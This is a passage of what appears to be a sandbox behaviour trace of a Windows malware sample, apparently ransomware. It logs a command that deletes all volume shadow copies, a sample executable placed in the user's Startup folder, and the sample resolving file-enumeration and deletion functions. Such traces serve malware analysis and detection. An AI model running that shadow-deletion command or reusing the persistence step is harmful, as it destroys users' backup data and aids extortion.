Flags=0x0, Ptr=0x19bb20, Size=0xa2) returned 0x19bb20 [0126.095] GetProcessHeap () returned 0x180000 [0126.095] RtlSizeHeap (HeapHandle=0x180000, Flags=0x0, MemoryPointer=0x19bb20) returned 0xa2 [0126.095] SetConsoleTitleW (lpConsoleTitle="C:\\Windows\\system32\\cmd.exe - vssadmin delete shadows /all /quiet") returned 1 [0126.096] GetProcessHeap () returned 0x180000 [0126.096] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x19bb20 | out: hHeap=0x180000) returned 1 [0126.096] InitializeProcThreadAttributeList (in: lpAttributeList=0x12f418, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x12f3d8 | out: lpAttributeList=0x12f418, lpSize=0x12f3d8) returned 1 [0126.096] UpdateProcThreadAttribute (in: lpAttributeList=0x12f418, dwFlags=0x0, Attribute=0x60001, lpValue=0x12f3c8, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x12f418, lpPreviousValue=0x0) returned 1 [0126.096] GetStartupInfoW (in: lpStartupInfo=0x12f530 | out: lpStartupInfo=0x12f530*(cb=0x68, lpReserved="", lpDesktop="Winsta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xe8, hStdOutput=0xf4, hStdError=0xf4)) [0126.096] GetProcessHeap () returned 0x180000 [0126.096] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x20) returned 0x194660 [0126.096] _wcsnicmp (_String1="COPYCMD", _String2="=::=::\\", _MaxCount=0x7) returned 38 [0126.096] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0126.096] _wcsnicmp (_String1="COPYCMD", _String2="=ExitCo", _MaxCount=0x7) returned 38 [0126.096] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0126.096] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0126.096] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0126.096] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0126.096] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0126.096] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0126.096] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0126.096] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3 [0126.096] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0126.096] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0126.096] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0126.097] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0126.097] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0126.097] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0126.097] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0126.097] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0126.097] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0126.097] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0126.097] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0126.097] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0126.097] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0126.097] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0126.097] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0126.097] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0126.097] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0126.097] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0126.097] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0126.097] _wcsnicmp (_String1="COPYCMD", _String2="SESSION", _MaxCount=0x7) returned -16 [0126.097] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0126.097] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0126.097] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0126.097] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0126.097] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0126.097] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0126.097] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0126.097] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0126.097] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0126.097] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0126.097] GetProcessHeap () returned 0x180000 [0126.097] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x194660 | out: hHeap=0x180000) returned 1 [0126.097] GetProcessHeap () returned 0x180000 [0126.097] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x12) returned 0x199ac0 [0126.097] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\vssadmin.exe", lpCommandLine="vssadmin delete shadows /all /quiet", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Windows\\system32", lpStartupInfo=0x12f450*(cb=0x70, lpReserved=0x0, lpDesktop="Winsta0\\Default", lpTitle="vssadmin delete shadows /all /quiet", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x12f400 | out: lpCommandLine="vssadmin delete shadows /all /quiet", lpProcessInformation=0x12f400*(hProcess=0x50, hThread=0x54, dwProcessId=0x654, dwThreadId=0x658)) returned 1 [0126.105] CloseHandle (hObject=0x54) returned 1 [0126.105] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0126.105] GetProcessHeap () returned 0x180000 [0126.105] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x19f4e0 | out: hHeap=0x180000) returned 1 [0126.105] GetEnvironmentStringsW () returned 0x1989c0* [0126.105] GetProcessHeap () returned 0x180000 [0126.105] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0xb22) returned 0x19e9b0 [0126.105] FreeEnvironmentStringsW (penv=0x1989c0) returned 1 [0126.105] NtQueryInformationProcess (in: ProcessHandle=0x50, ProcessInformationClass=0x0, ProcessInformation=0x12ed08, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x12ed08, ReturnLength=0x0) returned 0x0 [0126.105] ReadProcessMemory (in: hProcess=0x50, lpBaseAddress=0x7fffffde000, lpBuffer=0x12ed40, nSize=0x380, lpNumberOfBytesRead=0x12ed00 | out: lpBuffer=0x12ed40*, lpNumberOfBytesRead=0x12ed00*=0x380) returned 1 [0126.105] WaitForSingleObject (hHandle=0x50, dwMilliseconds=0xffffffff) returned 0x0 [0130.778] GetExitCodeProcess (in: hProcess=0x50, lpExitCode=0x12f348 | out: lpExitCode=0x12f348*=0x2) returned 1 [0130.779] CloseHandle (hObject=0x50) returned 1 [0130.779] _vsnwprintf (in: _Buffer=0x12f5b8, _BufferCount=0x13, _Format="%08X", _ArgList=0x12f358 | out: _Buffer="00000002") returned 8 [0130.779] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000002") returned 1 [0130.779] GetProcessHeap () returned 0x180000 [0130.779] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x19e9b0 | out: hHeap=0x180000) returned 1 [0130.779] GetEnvironmentStringsW () returned 0x1989c0* [0130.779] GetProcessHeap () returned 0x180000 [0130.779] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0xb22) returned 0x19e9b0 [0130.779] FreeEnvironmentStringsW (penv=0x1989c0) returned 1 [0130.779] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0130.779] GetProcessHeap () returned 0x180000 [0130.779] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x19e9b0 | out: hHeap=0x180000) returned 1 [0130.779] GetEnvironmentStringsW () returned 0x1989c0* [0130.779] GetProcessHeap () returned 0x180000 [0130.779] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0xb22) returned 0x19e9b0 [0130.779] FreeEnvironmentStringsW (penv=0x1989c0) returned 1 [0130.779] GetProcessHeap () returned 0x180000 [0130.779] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x199ac0 | out: hHeap=0x180000) returned 1 [0130.779] DeleteProcThreadAttributeList (in: lpAttributeList=0x12f418 | out: lpAttributeList=0x12f418) [0130.779] SetConsoleTitleW (lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 1 [0130.780] _get_osfhandle (_FileHandle=1) returned 0xf4 [0130.780] SetConsoleMode (hConsoleHandle=0xf4, dwMode=0x0) returned 0 [0130.781] _get_osfhandle (_FileHandle=1) returned 0xf4 [0130.781] GetConsoleMode (in: hConsoleHandle=0xf4, lpMode=0x4ac8e194 | out: lpMode=0x4ac8e194) returned 0 [0130.781] _get_osfhandle (_FileHandle=0) returned 0xe8 [0130.781] GetConsoleMode (in: hConsoleHandle=0xe8, lpMode=0x4ac8e198 | out: lpMode=0x4ac8e198) returned 0 [0130.781] GetConsoleOutputCP () returned 0x4e3 [0130.781] GetCPInfo (in: CodePage=0x4e3, lpCPInfo=0x4ac9bfe0 | out: lpCPInfo=0x4ac9bfe0) returned 1 [0130.781] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0130.781] GetProcessHeap () returned 0x180000 [0130.781] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x199c60 | out: hHeap=0x180000) returned 1 [0130.781] GetProcessHeap () returned 0x180000 [0130.781] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x19ba00 | out: hHeap=0x180000) returned 1 [0130.781] GetProcessHeap () returned 0x180000 [0130.781] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x195bb0 | out: hHeap=0x180000) returned 1 [0130.782] GetProcessHeap () returned 0x180000 [0130.782] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x19b9a0 | out: hHeap=0x180000) returned 1 [0130.782] GetProcessHeap () returned 0x180000 [0130.782] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x199a50 | out: hHeap=0x180000) returned 1 [0130.782] GetProcessHeap () returned 0x180000 [0130.782] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x19aae0 | out: hHeap=0x180000) returned 1 [0130.782] GetProcessHeap () returned 0x180000 [0130.782] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1a0090 | out: hHeap=0x180000) returned 1 [0130.782] GetProcessHeap () returned 0x180000 [0130.782] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x194630 | out: hHeap=0x180000) returned 1 [0130.782] GetProcessHeap () returned 0x180000 [0130.782] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x199840 | out: hHeap=0x180000) returned 1 [0130.782] _vsnwprintf (in: _Buffer=0x4aca6340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x12f878 | out: _Buffer="\r\n") returned 2 [0130.782] _get_osfhandle (_FileHandle=1) returned 0xf4 [0130.782] GetFileType (hFile=0xf4) returned 0x3 [0130.782] _get_osfhandle (_FileHandle=1) returned 0xf4 [0130.782] WideCharToMultiByte (in: CodePage=0x4e3, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4ac9c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0130.782] WriteFile (in: hFile=0xf4, lpBuffer=0x4ac9c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x12f848, lpOverlapped=0x0 | out: lpBuffer=0x4ac9c320*, lpNumberOfBytesWritten=0x12f848*=0x2, lpOverlapped=0x0) returned 1 [0130.782] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4ac8f360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0130.782] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4ac9c0a0 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0130.782] _vsnwprintf (in: _Buffer=0x4ac8eb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x12f888 | out: _Buffer="C:\\Windows\\system32") returned 19 [0130.782] _vsnwprintf (in: _Buffer=0x4ac8eb86, _BufferCount=0x3eb, _Format="%c", _ArgList=0x12f888 | out: _Buffer=">") returned 1 [0130.783] _get_osfhandle (_FileHandle=1) returned 0xf4 [0130.783] GetFileType (hFile=0xf4) returned 0x3 [0130.783] _get_osfhandle (_FileHandle=1) returned 0xf4 [0130.783] WideCharToMultiByte (in: CodePage=0x4e3, dwFlags=0x0, lpWideCharStr="C:\\Windows\\system32>", cchWideChar=-1, lpMultiByteStr=0x4ac9c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Windows\\system32>", lpUsedDefaultChar=0x0) returned 21 [0130.783] WriteFile (in: hFile=0xf4, lpBuffer=0x4ac9c320*, nNumberOfBytesToWrite=0x14, lpNumberOfBytesWritten=0x12f878, lpOverlapped=0x0 | out: lpBuffer=0x4ac9c320*, lpNumberOfBytesWritten=0x12f878*=0x14, lpOverlapped=0x0) returned 1 [0130.783] _get_osfhandle (_FileHandle=0) returned 0xe8 [0130.783] GetFileType (hFile=0xe8) returned 0x3 [0130.783] _get_osfhandle (_FileHandle=0) returned 0xe8 [0130.783] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0130.783] ReadFile (in: hFile=0xe8, lpBuffer=0x4ac9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x12fb78, lpOverlapped=0x0 | out: lpBuffer=0x4ac9c320*, lpNumberOfBytesRead=0x12fb78*=0x1, lpOverlapped=0x0) returned 1 [0130.783] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4ac9c320, cbMultiByte=1, lpWideCharStr=0x4ac9e320, cchWideChar=1 | out: lpWideCharStr="Essadmin delete shadows /all /quiet\n") returned 1 [0130.783] _get_osfhandle (_FileHandle=0) returned 0xe8 [0130.783] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0130.783] ReadFile (in: hFile=0xe8, lpBuffer=0x4ac9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x12fb78, lpOverlapped=0x0 | out: lpBuffer=0x4ac9c320*, lpNumberOfBytesRead=0x12fb78*=0x1, lpOverlapped=0x0) returned 1 [0130.783] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4ac9c320, cbMultiByte=1, lpWideCharStr=0x4ac9e322, cchWideChar=1 | out: lpWideCharStr="xsadmin delete shadows /all /quiet\n") returned 1 [0130.783] _get_osfhandle (_FileHandle=0) returned 0xe8 [0130.783] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0130.783] ReadFile (in: hFile=0xe8, lpBuffer=0x4ac9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x12fb78, lpOverlapped=0x0 | out: lpBuffer=0x4ac9c320*, lpNumberOfBytesRead=0x12fb78*=0x1, lpOverlapped=0x0) returned 1 [0130.783] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4ac9c320, cbMultiByte=1, lpWideCharStr=0x4ac9e324, cchWideChar=1 | out: lpWideCharStr="iadmin delete shadows /all /quiet\n") returned 1 [0130.783] _get_osfhandle (_FileHandle=0) returned 0xe8 [0130.783] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0130.783] ReadFile (in: hFile=0xe8, lpBuffer=0x4ac9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x12fb78, lpOverlapped=0x0 | out: lpBuffer=0x4ac9c320*, lpNumberOfBytesRead=0x12fb78*=0x1, lpOverlapped=0x0) returned 1 [0130.783] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4ac9c320, cbMultiByte=1, lpWideCharStr=0x4ac9e326, cchWideChar=1 | out: lpWideCharStr="tdmin delete shadows /all /quiet\n") returned 1 [0130.783] _get_osfhandle (_FileHandle=0) returned 0xe8 [0130.783] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0130.784] ReadFile (in: hFile=0xe8, lpBuffer=0x4ac9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x12fb78, lpOverlapped=0x0 | out: lpBuffer=0x4ac9c320*, lpNumberOfBytesRead=0x12fb78*=0x1, lpOverlapped=0x0) returned 1 [0130.784] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4ac9c320, cbMultiByte=1, lpWideCharStr=0x4ac9e328, cchWideChar=1 | out: lpWideCharStr="\nmin delete shadows /all /quiet\n") returned 1 [0130.784] _get_osfhandle (_FileHandle=0) returned 0xe8 [0130.784] GetFileType (hFile=0xe8) returned 0x3 [0130.784] _get_osfhandle (_FileHandle=0) returned 0xe8 [0130.784] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0130.784] _get_osfhandle (_FileHandle=1) returned 0xf4 [0130.784] GetFileType (hFile=0xf4) returned 0x3 [0130.784] _get_osfhandle (_FileHandle=1) returned 0xf4 [0130.784] WideCharToMultiByte (in: CodePage=0x4e3, dwFlags=0x0, lpWideCharStr="Exit\n", cchWideChar=-1, lpMultiByteStr=0x4ac9c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Exit\n", lpUsedDefaultChar=0x0) returned 6 [0130.784] WriteFile (in: hFile=0xf4, lpBuffer=0x4ac9c320*, nNumberOfBytesToWrite=0x5, lpNumberOfBytesWritten=0x12fb58, lpOverlapped=0x0 | out: lpBuffer=0x4ac9c320*, lpNumberOfBytesWritten=0x12fb58*=0x5, lpOverlapped=0x0) returned 1 [0130.784] GetProcessHeap () returned 0x180000 [0130.784] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x4012) returned 0x1a2010 [0130.784] GetProcessHeap () returned 0x180000 [0130.784] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1a2010 | out: hHeap=0x180000) returned 1 [0130.784] GetProcessHeap () returned 0x180000 [0130.784] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0xb0) returned 0x199840 [0130.784] GetProcessHeap () returned 0x180000 [0130.784] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x1a) returned 0x194630 [0130.784] GetConsoleOutputCP () returned 0x4e3 [0130.785] GetCPInfo (in: CodePage=0x4e3, lpCPInfo=0x4ac9bfe0 | out: lpCPInfo=0x4ac9bfe0) returned 1 [0130.785] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0130.786] GetConsoleTitleW (in: lpConsoleTitle=0x12fb10, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0130.786] GetProcessHeap () returned 0x180000 [0130.786] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x14) returned 0x198940 [0130.786] GetProcessHeap () returned 0x180000 [0130.786] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x1a) returned 0x194660 [0130.786] GetProcessHeap () returned 0x180000 [0130.786] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x21c) returned 0x19b9a0 [0130.786] GetConsoleTitleW (in: lpConsoleTitle=0x19b9b0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0130.786] GetProcessHeap () returned 0x180000 [0130.786] RtlReAllocateHeap (Heap=0x180000, Flags=0x0, Ptr=0x19b9a0, Size=0x62) returned 0x19b9a0 [0130.786] GetProcessHeap () returned 0x180000 [0130.786] RtlSizeHeap (HeapHandle=0x180000, Flags=0x0, MemoryPointer=0x19b9a0) returned 0x62 [0130.786] SetConsoleTitleW (lpConsoleTitle="C:\\Windows\\system32\\cmd.exe - Exit") returned 1 [0130.787] GetProcessHeap () returned 0x180000 [0130.787] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x19b9a0 | out: hHeap=0x180000) returned 1 [0130.787] SetConsoleTitleW (lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 1 [0130.787] exit (_Code=2) Process: id = "10" image_name = "mode.com" filename = "c:\\windows\\system32\\mode.com" page_root = "0x75c9e000" os_pid = "0x62c" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "9" os_parent_pid = "0x538" cmd_line = "mode con cp select=1251" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e909" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 51 os_tid = 0x630 Process: id = "11" image_name = "vssadmin.exe" filename = "c:\\windows\\system32\\vssadmin.exe" page_root = "0x755ab000" os_pid = "0x654" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "9" os_parent_pid = "0x538" cmd_line = "vssadmin delete shadows /all /quiet" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e909" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 52 os_tid = 0x658 Thread: id = 64 os_tid = 0x6a0 Thread: id = 66 os_tid = 0x6b0 Thread: id = 67 os_tid = 0x6c4 Thread: id = 68 os_tid = 0x6c8 Process: id = "12" image_name = "dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe" filename = "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe" page_root = "0x61f71000" os_pid = "0x3d4" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "8" os_parent_pid = "0x4ec" cmd_line = "\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe\" -a" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e909" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 69 os_tid = 0x488 [0167.622] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x75080000 [0167.675] GetProcAddress (hModule=0x75080000, lpProcName="GetProcAddress") returned 0x75091222 [0167.675] GetProcAddress (hModule=0x75080000, lpProcName="GetModuleHandleW") returned 0x750934b0 [0167.675] GetProcAddress (hModule=0x75080000, lpProcName="FindNextFileW") returned 0x750954ee [0167.675] GetProcAddress (hModule=0x75080000, lpProcName="FindClose") returned 0x75094442 [0167.675] GetProcAddress (hModule=0x75080000, lpProcName="MoveFileW") returned 0x750a9af0 [0167.675] GetProcAddress (hModule=0x75080000, lpProcName="GetFileSizeEx") returned 0x750959e2 [0167.676] GetProcAddress (hModule=0x75080000, lpProcName="GetModuleFileNameW") returned 0x75094950 [0167.676] GetProcAddress (hModule=0x75080000, lpProcName="GetFileAttributesW") returned 0x75091b18 [0167.676] GetProcAddress (hModule=0x75080000, lpProcName="ExitProcess") returned 0x75097a10 [0167.676] GetProcAddress (hModule=0x75080000, lpProcName="GetCommandLineW") returned 0x75095223 [0167.676] GetProcAddress (hModule=0x75080000, lpProcName="GetComputerNameW") returned 0x7509dd0e [0167.676] GetProcAddress (hModule=0x75080000, lpProcName="GetComputerNameA") returned 0x750ab6e0 [0167.676] GetProcAddress (hModule=0x75080000, lpProcName="CreateMutexW") returned 0x7509424c [0167.676] GetProcAddress (hModule=0x75080000, lpProcName="lstrlenW") returned 0x75091700 [0167.676] GetProcAddress (hModule=0x75080000, lpProcName="lstrlenA") returned 0x75095a4b [0167.676] GetProcAddress (hModule=0x75080000, lpProcName="GetCurrentProcess") returned 0x75091809 [0167.676] GetProcAddress (hModule=0x75080000, lpProcName="WaitForSingleObject") returned 0x75091136 [0167.676] GetProcAddress (hModule=0x75080000, lpProcName="GetLogicalDrives") returned 0x75095371 [0167.676] GetProcAddress (hModule=0x75080000, lpProcName="GetTickCount") returned 0x7509110c [0167.676] GetProcAddress (hModule=0x75080000, lpProcName="DeleteFileW") returned 0x750989b3 [0167.676] GetProcAddress (hModule=0x75080000, lpProcName="WideCharToMultiByte") returned 0x7509170d [0167.676] GetProcAddress (hModule=0x75080000, lpProcName="InitializeCriticalSectionAndSpinCount") returned 0x75091916 [0167.676] GetProcAddress (hModule=0x75080000, lpProcName="Sleep") returned 0x750910ff [0167.676] GetProcAddress (hModule=0x75080000, lpProcName="LeaveCriticalSection") returned 0x774e2270 [0167.676] GetProcAddress (hModule=0x75080000, lpProcName="ReadFile") returned 0x75093ed3 [0167.676] GetProcAddress (hModule=0x75080000, lpProcName="CreateFileW") returned 0x75093f5c [0167.677] GetProcAddress (hModule=0x75080000, lpProcName="OpenMutexW") returned 0x75095151 [0167.677] GetProcAddress (hModule=0x75080000, lpProcName="EnterCriticalSection") returned 0x774e22b0 [0167.677] GetProcAddress (hModule=0x75080000, lpProcName="WaitForMultipleObjects") returned 0x75094220 [0167.677] GetProcAddress (hModule=0x75080000, lpProcName="lstrcmpiW") returned 0x750ad5cd [0167.677] GetProcAddress (hModule=0x75080000, lpProcName="lstrcmpiA") returned 0x75093e8e [0167.677] GetProcAddress (hModule=0x75080000, lpProcName="DeleteCriticalSection") returned 0x774f45f5 [0167.677] GetProcAddress (hModule=0x75080000, lpProcName="ReleaseMutex") returned 0x7509111e [0167.677] GetProcAddress (hModule=0x75080000, lpProcName="CloseHandle") returned 0x75091410 [0167.677] GetProcAddress (hModule=0x75080000, lpProcName="GetVersion") returned 0x75094467 [0167.677] GetProcAddress (hModule=0x75080000, lpProcName="CreateThread") returned 0x750934d5 